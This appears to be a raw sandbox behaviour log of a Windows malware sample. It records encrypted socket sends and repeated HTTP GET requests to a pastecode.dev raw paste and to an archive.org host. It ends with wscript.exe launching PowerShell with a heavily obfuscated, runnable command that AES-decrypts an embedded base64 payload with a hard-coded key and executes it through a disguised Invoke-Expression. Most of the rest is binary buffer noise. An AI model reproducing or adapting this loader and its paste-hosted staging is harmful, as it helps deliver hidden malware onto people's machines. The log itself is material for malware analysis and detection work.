 buffer: PnS—%ÈÚú,RŖcZŒßeALð€¸xŚë¨í6OðjŠ+›VœìºŸ=>Œ©¤ÆüñX•­üý«ôCǒ_[°‰O¾*=ŠùVP<|Ո Sƒ[ªC6¨ÉÕ¹qX§åÂð|µÊ¤lçãÁ$´£Üf/ÎHïHÑ°´"bV.¦†íÃy¥m;,¸{¦­tâŽ0­’íÐúïhÚÜß%’ݺ<sþŸ=Aݶʈ¿^Ԃ¾†ß‰O°ÆrNzw7@g,‰2ÏUÅÉ<bräDDÒe‡«ôŒ˜3 Cٙèa„©Ì/gV›AýõT2宯'rö:«ˆ]±zç [aâLËÓ\—åí/@QÙ2\k©ðOBÊU¶Ij³äªie*V§¼!×Ú²„ñ;(Líe­ÃCo1é֏ÔìÛDýÍ:ð‰{¿‡©v`i™ r
socket: 956
sent: 341
1 341 0

send

 buffer: !
socket: 844
sent: 1
1 1 0

InternetCrackUrlA

 url: https://pastecode.dev/raw/6l7qjjrz/paste1.txt
flags: 0
1 1 0

InternetCrackUrlW

 url: https://pastecode.dev/raw/6l7qjjrz/paste1.txt
flags: 0
1 1 0

HttpOpenRequestW

 connect_handle: 0x00cc0008
http_version:
flags: 12582912
http_method: GET
referer:
path: /raw/6l7qjjrz/paste1.txt
1 13369356 0

send

 buffer: °;VsrùÑ ¶¶VmÆþ˜œ•52´V1ÅÃè6B&Ðzšð°j%â³ØËô«æ’rE ‡H’«÷g–ùTfYâmÀYü«p•†o©µS²Â"oxÚHÏ»´õ ;fãÏÑúåø³ªWm”¥BÍi\»¨À_㜂÷ ù¢^*ÞHÆõ†ª¹)´L†2uÞØÃ` y¢Ô+ÝKèbcàt÷ÞTuˆ Òùê}|út2¢¶œI_í!“CQgCâ/þ¡eA9ó¥vÎ~ýÂ"6Ë%„°],œà"Β½¥ñq°ý jß%òuÓUG ¤¶¢ÖÛõŒsû‚eV¯"HzLü«\ëº0ÜΜ1™£³L/ w½S¯/ _ºù3Ôõ¾O€0roVÌü%–¬*RJh+LLÿqð\ïQ¹”XcwSôŚ’ „ÄŸ€ÉDÅQ¶ÄN¦©Ð8PÝ+ئÏÔÏ7¬‚xõF–¨¬íš!*£Äè ڏP¼k£,• ù]u·Í¦0yåÒêA«a—×,͖óüŽf²U`Ê;|
socket: 956
sent: 437
1 437 0

send

 buffer: !
socket: 844
sent: 1
1 1 0

InternetCrackUrlW

 url: https://pastecode.dev/raw/6l7qjjrz/paste1.txt
flags: 0
1 1 0

HttpOpenRequestW

 connect_handle: 0x00cc0008
http_version:
flags: 12582912
http_method: GET
referer:
path: /raw/6l7qjjrz/paste1.txt
1 13369356 0

send

 buffer: °ˆ8…Ökɍâzá\•·bIÍÜû ÐNfbÉh;5ý*  Ýo8—gÅÙDÐïãZ;çµ}ª ‚(è‰ã³˜ã2&€{,ª±^·´C Ï;âS )í À^«! -n˜°³s­€*Æ*½WK܊hƒùD³„Ц}1罄‰€ØäºBŽôQÉÏ£¾Ïf)± äԟ©ü¬‡IÛYßf¤êÌ Úg6Ѽ‹?ö>êòæA0§QµpŸi—óA{»”tõ¡Æð+»å9qé Ì~–çÚá©­ý«PµzµleÁ™ 5x|¡äÔ6yI3%‘™Ñ¹ÕŠ´pGø£®‚a£c‰¢¸¹NMüÚ ¦×¡lʦN¾¹·)¤­è”uë,‘ðäz«m(–½jù¸9 QÖ]¬^Õñ Kyý`óïYÀW­ë(w¸ÃŠ6¿­LMé®kÓDªÔ··E…Ê‘Ëÿ”ú­µ…7rÐk Z™U ½lk™Ãÿ•º÷ΗI$_ðQpN ÛÑHŒ®Ë'1Àbš [æa’˜:Â]›ÛKŸ
socket: 956
sent: 437
1 437 0

send

 buffer: !
socket: 844
sent: 1
1 1 0

InternetCrackUrlW

 url: https://pastecode.dev/raw/6l7qjjrz/paste1.txt
flags: 0
1 1 0

HttpOpenRequestW

 connect_handle: 0x00cc0010
http_version:
flags: 12582912
http_method: GET
referer:
path: /raw/6l7qjjrz/paste1.txt
1 13369364 0

send

 buffer: °†?d‹,?.À‘Y’¡!›Ç|i§J¥FÁúYv¹:ä§þ¯Ç”NímX ìÛp<ˆKH¾‹ì³´/W.¥è“ëÿµ‘éj@–DÊ N“¼;Áê©1g/õρì&w“­MÆW½ï äªéÊÛò>ýv¢Á6XšføÕBMFÜB„}x8ÚeKŸ¨Kºå5¬zû%÷ÐU(Œ+äÒjƒh¿Êï:@ÂR -‡wÎÊ4\¬ÐÞâ=æáEj~ÌÎ}ìÒèÑ}Ŷ›¬\©móØõՎ5òµ(Æ"àTʬC(Ÿþˆ@xþÒ* pw]À¡:55 €4«ÙIËCPÍmIõ†nÚVª†®…wH‹fª…˜S֛ÉNM¹¡¾€õÃÒRJíÈ “7րà@mõ»&Á‡2ö ÜÊ0)Ožý)üœ.Ô f&nŽÞè;¶$Œ¯=×5ý‚–=C í¥§Ð횎FoŽªgQÝè-r ý¾¡-Žk|€çI?xâYoVNÅÊ4HÎSߛ§ÛÕHãb9Á·fð YGÐ
socket: 956
sent: 437
1 437 0

send

 buffer: !
socket: 844
sent: 1
1 1 0

InternetCrackUrlW

 url: https://pastecode.dev/raw/6l7qjjrz/paste1.txt
flags: 0
1 1 0

HttpOpenRequestW

 connect_handle: 0x00cc0008
http_version:
flags: 12582912
http_method: GET
referer:
path: /raw/6l7qjjrz/paste1.txt
1 13369356 0

send

 buffer: °µ$vA£î£ZéXs80´ú£ ®ÀûgàVŒ–"<cðÀ!3òìyx1_#’-á-âÛ5„HÉç_ÈX_žBòÑ;³ Æl ΚRçúEǬIð{2ôó[f¿-CŒÿQwî!G/•ÊR;ªå²–ã@’ؤ€•çʘK62dœ™.J-N nƲÑmgòôØKîhãb¿ÎºJ\廽ë)Ó âFm”î04ЍlQáÙV×3" aŽš¬Ö̊1Ðo°|O7ëÖÝ× þó`ö9J›Ü³wº ûLÔÆVõ«/Q8léca!ç:žU-o€·k18Æ»0kùŠ¦Óè˟µk¯0r Öoí2ù2|*<–*ü}ǜjürw ÷©(š¶æ”ÍþöÃkÑÙ®Pû ó3øõfµI¸à̦CÖTvcN¹Í9_9|Âl@Ãw8ÃÁ)OÚo3ö¥ÄWuBi–¶Ê|ôOç;û’Õe5žL#Kïv@ìšjpG¡œ‚. 1Úâ™S_‹(ÁïƸr(I}nnËy_¤×r5î+û
socket: 956
sent: 437
1 437 0

send

 buffer: !
socket: 844
sent: 1
1 1 0

send

 buffer: zvfŽç d¥2ç9·¦Y#…B[ 4W¬2÷ Á`IM/5 ÀÀÀ À 285ÿia803405.us.archive.org  
socket: 1328
sent: 127
1 127 0

send

 buffer: zvfŽèa5ÌÁíûÎSch~k“Îz÷Þr«Å,ûÙû /5 ÀÀÀ À 285ÿia803405.us.archive.org  
socket: 1328
sent: 127
1 127 0

send

 buffer: zvfŽè P@û^a/4(û¥%™O8¢y"f´«S}ºe/5 ÀÀÀ À 285ÿia803405.us.archive.org  
socket: 1328
sent: 127
1 127 0

send

 buffer: zvfŽ醱G™>3ôjðYc‰aôpÙÕeôG‡›ª¯%/5 ÀÀÀ À 285ÿia803405.us.archive.org  
socket: 1328
sent: 127
1 127 0
parent_process wscript.exe martian_process powershell.exe -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI80168368095155879246343180283860CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIG0A1+PrFFIeELomZdViz8ihpJlgfWSG+c8Fn24Yl9hVuxVdEAurMWPyojwYOyeb5UMR2oDYO7mDj/4mQVoDcRIADMQ1J1PJY9WxnIjECC7W9LI8Ol3HTjOpzG4waT56lIqmYk4zL1SBvoe848dm6BtzEqKQqLTN6fMMNKOQsy6SVkJBW1zdvJWXNlxNUH7AptKMypi2N4ui1CpNo9Is/Ppayo7+f+db5c0GzQPZxJIw/3OToEEIMAI5IJSOIGhsVJA4DgZO7nCHnqIBscBMRiN/wglDM6tX6Q46URemN1y1W49YuzsDpjsfyxzQ+zi1I4eB1IETOHTz89D8BlxuQDwVClBv0+GDF59fznQ+YF6okM+C5BLM7qkIfbMFKc4O35deBE51BwEhPDvsmK2YSQir1FqWmjz3acFG6znZLgkf/HIuzamqoNgAIZMeZkT0RAYkvTUz8ZlkOo3MXnJyx5+xJM2zkiMd7oajc1lJOMPl/ux94t3CqSJ4gPzg/TnWyOxZ7404PZ7piPpZHD3egMhNexxTnGS0OPblGvzwwR1cJqSmB8NqH1qiVMb6ZM9uUvWRwa9ChaqcWgS7YCenzvazlGFz18pnnY+NxUA5N33oDEe5RsGMSlntzzIdIjahx4MBp9RqCAgsjd9w3j6p8WdkME0ydEckZWZRTSRQF2N3iyEvHCGec2vUNtxttJgAauSuuMSTUGFzS9NxkWehSSMzdhRforbZwrvjEAtnHqqKf4FTgfXWgXRtnMDJly+CiPXeTZMHxQk2JjMi6Oj18ZqF6a42R6Xhj38hbydvJ/x+52suO/yRpRTLRHRNF8vICiawEBQZ4dt1wNfhVVuvL5NRf6NZ1ClnjfRoRLMD4obqKHFVHUQC4sC5Nuh2ZMLm7nwamr4ZBvmTROLz45tV+1cflORgGrvz66LRqzMoYdb17qGKi1sZfebxHGBQpbifqSh8xBz1xGWWuV4a1PCcQ2DIukdCbTpb2qCvsJDt7Z46dOGEv8na9tYmcl2ku8AIY2gC73T4DojNl4vsUG8T6JxrMWAfXHCngUXiBDPsyW/R0hFAHtBsHYMzlcJ9Lycu1/CiwFS+ogiZL7iRJusUsqFfcL49eQfmrOccCnod07s83tBs1cm8mZxX+xFnMrPw/6tsTt137aHBnYOMs1jZPOvzn1Agv8jseg6ApWoP8e8UPbxJdj3r+8MeT2VkMKer32XVvbumEwPcbODr1COI3yYiAMiPRT+mmYnkKBPtjSynWD6zs6DIcdvUTbsZN7iyksLS0vSlwKXzbWQqOS5dzEhmD4NunfG7hAWTRQvQF8JafWNW/YTa25A1rw0bRhYAA1lcUGdqfJtbq7/md4Gk+/FVjWrbZRHgyzxLo2rkul1p2/Aa1TnMDxt5INkg2AiYq72RE0sOxd4e9FzmvIC/SBl/hqvj2SijxxjWc57usBZ0pZ74PyUGvT04mhWqJajRBXpkHXRPz59/o4IPdsnm3WKtCZPkB1JpKLLGvfv7f9VHie8EbskOc1bmVRCGaoesp3hDo4JpJL5DyJ49vYmkUy6sdO4ngGmWu8U14AwjDKqJlD8lVCJCwwIRQS/t5nrg6l3h0hWT/EYl0jzzOLCdYBDjL5O9yEamn1BSFnvvZ0prNrFvh7SdTJIBl5vLT87bDzCew9Zvvw+7BXhqUntDDsQGIwOMa2IE+WGKzUkPUtLBd7qDCgW7qFrJhGiveqc6JJcV0v+8vS1iNL1aD5Xe5GSfpJGNcvvIz4VEKBPvHmdroV2Hwz16mXQl4YLVImR2awDbst0XBSrmtiSpEUtY4KkGHu7NQGhygAZksH+7tLvMkeYh1xUFdAcErWiA6l+3gCnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
parent_process wscript.exe martian_process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI80168368095155879246343180283860CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIG0A1+PrFFIeELomZdViz8ihpJlgfWSG+c8Fn24Yl9hVuxVdEAurMWPyojwYOyeb5UMR2oDYO7mDj/4mQVoDcRIADMQ1J1PJY9WxnIjECC7W9LI8Ol3HTjOpzG4waT56lIqmYk4zL1SBvoe848dm6BtzEqKQqLTN6fMMNKOQsy6SVkJBW1zdvJWXNlxNUH7AptKMypi2N4ui1CpNo9Is/Ppayo7+f+db5c0GzQPZxJIw/3OToEEIMAI5IJSOIGhsVJA4DgZO7nCHnqIBscBMRiN/wglDM6tX6Q46URemN1y1W49YuzsDpjsfyxzQ+zi1I4eB1IETOHTz89D8BlxuQDwVClBv0+GDF59fznQ+YF6okM+C5BLM7qkIfbMFKc4O35deBE51BwEhPDvsmK2YSQir1FqWmjz3acFG6znZLgkf/HIuzamqoNgAIZMeZkT0RAYkvTUz8ZlkOo3MXnJyx5+xJM2zkiMd7oajc1lJOMPl/ux94t3CqSJ4gPzg/TnWyOxZ7404PZ7piPpZHD3egMhNexxTnGS0OPblGvzwwR1cJqSmB8NqH1qiVMb6ZM9uUvWRwa9ChaqcWgS7YCenzvazlGFz18pnnY+NxUA5N33oDEe5RsGMSlntzzIdIjahx4MBp9RqCAgsjd9w3j6p8WdkME0ydEckZWZRTSRQF2N3iyEvHCGec2vUNtxttJgAauSuuMSTUGFzS9NxkWehSSMzdhRforbZwrvjEAtnHqqKf4FTgfXWgXRtnMDJly+CiPXeTZMHxQk2JjMi6Oj18ZqF6a42R6Xhj38hbydvJ/x+52suO/yRpRTLRHRNF8vICiawEBQZ4dt1wNfhVVuvL5NRf6NZ1ClnjfRoRLMD4obqKHFVHUQC4sC5Nuh2ZMLm7nwamr4ZBvmTROLz45tV+1cflORgGrvz66LRqzMoYdb17qGKi1sZfebxHGBQpbifqSh8xBz1xGWWuV4a1PCcQ2DIukdCbTpb2qCvsJDt7Z46dOGEv8na9tYmcl2ku8AIY2gC73T4DojNl4vsUG8T6JxrMWAfXHCngUXiBDPsyW/R0hFAHtBsHYMzlcJ9Lycu1/CiwFS+ogiZL7iRJusUsqFfcL49eQfmrOccCnod07s83tBs1cm8mZxX+xFnMrPw/6tsTt137aHBnYOMs1jZPOvzn1Agv8jseg6ApWoP8e8UPbxJdj3r+8MeT2VkMKer32XVvbumEwPcbODr1COI3yYiAMiPRT+mmYnkKBPtjSynWD6zs6DIcdvUTbsZN7iyksLS0vSlwKXzbWQqOS5dzEhmD4NunfG7hAWTRQvQF8JafWNW/YTa25A1rw0bRhYAA1lcUGdqfJtbq7/md4Gk+/FVjWrbZRHgyzxLo2rkul1p2/Aa1TnMDxt5INkg2AiYq72RE0sOxd4e9FzmvIC/SBl/hqvj2SijxxjWc57usBZ0pZ74PyUGvT04mhWqJajRBXpkHXRPz59/o4IPdsnm3WKtCZPkB1JpKLLGvfv7f9VHie8EbskOc1bmVRCGaoesp3hDo4JpJL5DyJ49vYmkUy6sdO4ngGmWu8U14AwjDKqJlD8lVCJCwwIRQS/t5nrg6l3h0hWT/EYl0jzzOLCdYBDjL5O9yEamn1BSFnvvZ0prNrFvh7SdTJIBl5vLT87bDzCew9Zvvw+7BXhqUntDDsQGIwOMa2IE+WGKzUkPUtLBd7qDCgW7qFrJhGiveqc6JJcV0v+8vS1iNL1aD5Xe5GSfpJGNcvvIz4VEKBPvHmdroV2Hwz16mXQl4YLVImR2awDbst0XBSrmtiSpEUtY4KkGHu7NQGhygAZksH+7tLvMkeYh1xUFdAcErWiA6l+3gCnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
file C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe